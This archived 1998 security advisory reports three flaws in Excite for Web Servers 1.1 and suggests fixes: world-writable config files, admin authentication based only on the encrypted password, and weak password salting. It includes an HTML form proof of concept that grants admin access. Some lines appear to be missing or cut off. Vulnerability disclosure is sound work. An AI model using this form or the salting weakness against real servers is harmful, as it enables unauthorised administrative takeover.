Type packetstorm
Reporter Packet Storm
Modified 1999-08-17T00:00:00


Date: Mon, 30 Nov 1998 17:20:04 -0600  
From: Michael Gerdts <gerdts@CAE.WISC.EDU>  
Subject: Security bugs in Excite for Web Servers 1.1  
On November 11 I reported the folloing problmes to ewsbugs@excite.com. I  
have only recieved an automated reply.  
I have found numerous security concerns with EWS 1.1 which can lead to an  
ordinary user being able to gain control over EWS.  
Problem: The installation program installs several files with world-write  
permissions. This is bad because one of them (Architext.conf)  
contains the encrypted password which is used for all authentication.  
Because of this, any user with shell or non-anonymous FTP access  
to the web server could modify the encrypted password.  
Solution: At install time, ask the administrator for the username or uid  
that CGI scripts are run as. Make the excite installation directory  
restrictive enough such that only this user can get into the directory  
and make sure that no files are world-writable. Because of other  
concerns (such as dictionary attacks) this file should not be  
Problem: All authentication after the initial access to AT-admin.cgi relies  
solely on the encrypted password. Since any user with shell or FTP  
access can read Architext.conf, it is trivial for local users to  
gain administrative privileges over EWS. Thus, a user only needs to  
have a web page that looks like:  
<html> <head><title>exploit</title>  
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>  
<INPUT TYPE="hidden" NAME="db" VALUE="personal">  
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">  
Reload this page, in case the log file or status has changed.  
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">  
<INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">  
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">  
Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with  
values that make sense for your situation. By accessing this page  
and clicking on the button you get to a menu that behaves exactly  
as if you knew the unencrypted password.  
Solution: I am not an expert in web security. There certainly must be  
better solutions.  
Problem: Passwords are not encrypted properly. Note that the first  
two characters of the encrypted password are always the first two  
characters of the plain-text password. For example, if you choose  
the password "blah", the encrypted password is "blk1x.w.ISlDw".  
In light of the fact that the plain-text password is not needed for  
adminstrative control (above), this problem is not that significant.  
Since this same password may be used other places it should be  
protected better. If a dictionary attack for the password is  
done, only those words that start with "bl" need be examined.  
If a brute force attack is used, the number of guesses goes down  
Solution: Encrypt passwords using random salts. Even using "aa" as the  
salt in every case would be more secure.  
Michael Gerdts  
UNIX Systems Administrator  
Computer-Aided Engineering Center  
University of Wisconsin - Madison